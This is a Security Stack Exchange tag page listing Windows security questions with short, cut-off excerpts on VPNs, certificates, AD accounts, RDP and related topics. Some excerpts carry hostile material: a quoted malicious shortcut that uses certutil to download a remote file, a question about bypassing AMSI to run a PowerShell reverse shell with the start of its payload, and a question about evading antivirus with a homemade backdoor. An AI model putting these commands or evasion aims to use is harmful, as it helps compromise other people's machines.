Questions tagged [windows]

Related to security concerns specific to the Microsoft Windows operating system itself. For security of applications that happen to be running on Windows, please use [appsec]. For the X Window System, please use [x11].

Filter by
Sorted by
Tagged with
3
votes
4answers
5k views

Using OpenVPN on Windows instead of VPN apps: missing certificate

Sorry this might be a noob question, but I subscribed to a VPN provider which ships its own app on Windows. Now I thought I'd prefer to use the OpenVPN client app instead. I create a profile by ...
1
vote
0answers
50 views

Can USB-C be restricted for display only (i.e. no data transfer)?

I want to allow users to connect their company mobile phones to company tablets for display only using USB-C. These are windows tablets. Is there anyway of restricting the USB-C to only allow display?...
3
votes
1answer
188 views

Risk around “Allow log on locally” for Domain Service Accounts

My organisation mandated that Windows Domain Service accounts internally should not have the "Allow log on locally" permission, and essentially be non-interactive. What exactly is the potential risk ...
1
vote
1answer
52 views

Use linux firewall rules for windows too [closed]

I'd like to improve security on my home network. I have a PC and a laptop with Microsoft Windows as well as a PC and a laptop with Linux There are a few HTTP services installed in the network. The ...
0
votes
1answer
85 views

How dangerous are cmd scripts? [closed]

I accidentally clicked on a shortcut that is a script.. The shortcut was: %ComSpec% /c echo CreateObject("Wscript.Shell").Run"""%ComSpec%"" /c del ""%USERNAME%.vbs""&certutil -urlcache -f https://...
0
votes
1answer
69 views

Credential encryption scenarios using certificates

Situation: We have several service accounts (AD) that need to use a limited set of credentials. These service accounts run scripts (PowerShell & Python), etc on different servers, requiring these ...
2
votes
1answer
1k views

Bypass AMSI Windows 10

I'm trying to run a powershell reverse shell on windows 10. Anyway everytime it is blocked by Wndows Defender. How can I bypass it? In a file I store the payload $client = New-Object System.Net....
0
votes
2answers
121 views

Why doesn't my LoadLibraryA (LLA) hook prevent a dll injection that uses CreateRemoteThread + LLA?

According to this answer, DLL injection through CreateRemoteThread in conjunction with LoadLibraryA can be prevented by hooking LoadLibraryA. I went through the effort of doing an actual ...
0
votes
1answer
64 views

Is using SecureString in combination with Xor considered secure enough for standalone Windows app?

The environment is Windows. We are using 3rd party tools in our app, and for tools to work they require method call and pass a license key that is a string. License.Import(string name, string email, ...
0
votes
1answer
111 views

Is accepting arbitrary COM pointers over a process boundary safe?

I have a legacy Windows application that needs to be looked over in terms of security. During this review something caught me eye. In the out of process COM server I'm looking at is a method that ...
1
vote
0answers
29 views

Detecting multiple active login sessions to AD with workstation/DC event logs

I'm using Splunk to try to detect multiple Windows login sessions by a single user, as an indicator of compromise. However, I'm not sure how to go about this - I can ingest workstation logs (events ...
2
votes
0answers
134 views

Why does the Windows Security Alert dialog default to to the “not recommended” option?

When I launch a program that wants network communication for the first time, I get this dialog: It's been a part of Windows for a while now (this is running on Windows 10, but note the Vista/7 design ...
0
votes
2answers
387 views

When someone clicks on a link that downloads the virus what makes the virus run?

Say for example a person gets an email with a link. That link turns out to be a download link for a virus and once the user clicks on it the virus is installed on his computer. Sure the virus is on ...
6
votes
2answers
1k views

After changing Microsoft password, one can still login to previously authenticated Windows devices with old password indefinitely. Why?

Has anyone else noticed that if you are using a Microsoft account for Windows, after changing your password, the old password can still be used indefinitely on previously authenticated devices? I have ...
0
votes
1answer
77 views

Why do people warn of putting unknown USBs in your device [duplicate]

People keep saying never put a random USB in your device because it could ruin it with a virus. Hackers are able to program USBs to automatically run a virus when it is put in a device. So I decided ...
3
votes
1answer
109 views

Why does Windows consider a certificate valid even after its expiration time?

I downloaded Google's Cloud SDK installer today, and upon checking the certificate to validate it, I noticed something strange: the expiration date of the certificate appears to be December 22nd 2019 -...
0
votes
1answer
53 views

Add security to documents uploaded?

We're locally testing anasp.net application that will let a user upload documents. The app is similar to a jobs site like monster.com, but with sensitive data. The app works great locally, and now ...
1
vote
2answers
611 views

How to trace SMB connection to what process initiated the connection?

I have a situation where I see a bunch of SMB connections initiated from a client to a server every night and it triggers an SMB brute-force alert on my Firewall. I installed Sysmon on the server to ...
0
votes
1answer
409 views

Bypassing WS.Reputation.1 (Norton)

So, I tried to create a backdoor on my own using python (for a course), as veil kept getting detected. All went well on my windows 10 VM and my old windows 7 laptop. However, when I copied the .exe ...
0
votes
0answers
41 views

Can the school see my computer? [duplicate]

During all this covid-19 stuff my school is letting students sign out computers and take them home until the end of the school year. When you log in to the computers, you log in to your school gmail ...
0
votes
1answer
962 views

Are NT Authority account users is safe?

I have an alert for monitoring windows server logon success (event ID 4624) and already whitelisting all the authorized users in the alert rule but after a while, there is some alert showed up using ...
2
votes
1answer
88 views

Non malware use cases of LSASS dumping

I recently looked up some techniques for dumping credentials from LSASS and came across an article that says PPL and other protections were not enabled by default in Windows because some non malicious ...
0
votes
1answer
161 views

Is it possible to use Kerberos for SSO in a SaaS application?

If I have a webapplication in my internal Microsoft Windows network I'm aware that I can use the kerberos protocol to make a Single Sign on (SSO) into this application with the web browser. Is it a ...
1
vote
0answers
30 views

Is there such a thing as “parameterized terminal commands”?

Long ago, I used to do SQL queries like: SELECT * FROM table WHERE id = ' . attempt_to_escape($_GET['id']) . ' ORDER BY timestamp DESC LIMIT 1; This was horribly scary and I probably messed it up by ...
2
votes
1answer
1k views

Did changes in Google Chrome 80 weaken cookie and password encryption?

According to Arun on StackOverflow “Starting Chrome 80 version, cookies are encrypted using the AES256-GCM algorithm, and the AES encryption key is encrypted with the DPAPI encryption system, and the ...
0
votes
1answer
63 views

School tracking applications with a school computer [duplicate]

with school computers can the school track what apps you are using without being connected to that schools WiFi?
0
votes
1answer
47 views

Does Hardware TPM have TAB/RM component?

Firstly I am not sure if this is the right place to ask this. If anyone has any idea of where this question belong please tell me. Recently I was reading about TPM and TSS(TPM Software Stack). The ...
0
votes
0answers
30 views

How to secure a Windows system impacted by TeamViewer customer support scam? [duplicate]

A friend of mine had her mother allow a "telecommunications customer support agent" (a scammer) to access her computer via TeamViewer. What should I do to secure the system/ensure the computer is ...
2
votes
1answer
2k views

Program compiled with mingw32 is reported as infected

I'm using a Linux system and cross-compiling to Win32. The most trivial Windows source code ("Hello world" by Petzold), when compiled using i686-w64-mingw32-gcc (gcc version 7.3-win32 20180312), ...
2
votes
1answer
94 views

As a Software Industry Editor, how to avoid my software being quarantined?

I'm a well established software company. For more than 30 years, my business has been delivering both hardware and software. My Windows software is being quarantined by some of my customer's ...
0
votes
0answers
58 views

Is there a technique to execute evil maid for other OSs, that is equivalent to the simplicity of EvilAbigail

I was recently looking at EvilAbigail and making sad faces over how vulnerable my Linux FDE system is, when I started to wonder if there was a similar simple attack for other OSs. I did a bunch of ...
0
votes
1answer
546 views

Is it okay to keep Windows 7 for gaming only?

I have some games which work on Windows only, but I don't want to buy a new Windows, I would rather keep Windows 7 as a second OS for gaming and use Linux or BSD for working, browsing, etc. As far as ...
2
votes
2answers
180 views

Fetching GPG private key from Linux server to decrypt files on a Win 10 computer in production

I have a need to fetch automatically the GPG private key from a Linux server to decrypt files on a Windows 10 computer in production. There are a few challenges here: How to assure SCP from the ...
1
vote
1answer
82 views

NTLM Modern usage

I understand that Kerberos is the recent authentication protocol used in windows environment and that NTLM is still supported for interoperability only. I want to know in non domain environments,if i ...
2
votes
0answers
93 views

Security of Microsoft key container

How is the security of cryptographic keys stored by Microsoft Windows in the key containers used by CryptoAPI/CNG guaranteed? The keys are stored in the user's directory or a directory for the machine-...
1
vote
0answers
64 views

Can EAP-TTLS provide the dual authentication I require?

What I want to do: Lock down the Tech Vlan so that only an approved device AND a user in the tech security group are allocated. I am hoping to achieve this via EAP-TTLS and Windows NPS whereby the ...
0
votes
1answer
46 views

Can programs see your windows account name given admin rights?

The windows account name can be seen as one the folders in C:\Users. Assuming you changed your windows account name to something different to the folder, can programs see your new windows account name ...
1
vote
1answer
1k views

How to disable/block Microsoft Store on Windows 10 Pro by firewall?

I want to block Microsoft Store on Windows 10 pro in a corporate environment. Having read relevant articles about this matter and tested on my machine, I see that Windows 10 Pro does not support this ...
1
vote
2answers
533 views

RDP - access security

I have a question about protecting myself against attacks on the RDP service. I note that I have already done the appropriate configuration: I am using a local user (not administrator) to connect ...
23
votes
2answers
6k views

Is NTFS encrypted by default?

Can an NTFS volume be read by forensics without having to log into the windows user or provide any passwords? aka can data be read straight from the sectors in clear text?
0
votes
1answer
305 views

How to wipe unused RAM in Windows 10?

Background: I'm trying to get as much security as possible. I have my hard drive encrypted with BitLocker, but I got worried about leaking something through RAM. Precisely, if someone gets to my ...
0
votes
1answer
139 views

How does the Windows 10 picture password work?

I have been researching on how Windows 10 built their picture password, but there is not much content online. Can anyone here help explain how the picture authentication system in windows 10 works?
0
votes
0answers
517 views

Powershell (WinRM) and cmd.exe: reg query output deviation

during a CTF I encountered the following anomaly regarding PS & cmd.exe: I got access to a Windows x86 server through WinRM Port 5985 using evil-winrm. (https://github.com/Hackplayers/evil-winrm) ...
2
votes
2answers
125 views

Is it possible to set permissions on a per application basis?

I wold like to set permissions on a per application basis, permissions like: Creation of sockets Creation of sub-process If an application creates a sub-process child processes should inherit the ...
3
votes
3answers
160 views

Logging connections to hardcoded IP addresses

On a Windows system, I'm able to get a good idea of most outgoing traffic by enabling DNS query logging, but I am missing those connections that are made straight to hardcoded IP addresses. What would ...
3
votes
1answer
409 views

How exactly does Windows Defender in Windows 10 determine when to upload your local files to Microsoft?

Every time I install Windows 10, I painstakingly go through every setting that can be found in any GUI setting for the OS, disabling everything that sounds creepy. One of the most disturbing things I'...
2
votes
0answers
95 views

Windows command bypassing Sandboxie

Using Sandboxie typing net user some_user some_password, on a sandboxed cmd, actually changes the password of the real user. Is this intentional? It is just a default Sandboxie installation running ...
0
votes
1answer
691 views

exploiting CVE-2020-0668 problem

I've been trying to get mentioned security error working on my machine so I could fully understand how it works. I've been following those instructions: https://itm4n.github.io/cve-2020-0668-windows-...
-1
votes
2answers
105 views

Binding self signed certificate to a signed application/exe

This is a follow up to this question I asked before. While I am happy to custom verify the certificate from the client side using the thumbprint approach, there is one additional scenario I wish to ...
1
vote
1answer
381 views

Custom certificate verification using thumbprint

I'm trying to confirm if the approach I'm thinking of taking towards verifying a self signed certificate is sound, or if I'm going about it the wrong way. I'm no security expert, so bear with me ...

1 2 3
4
5
41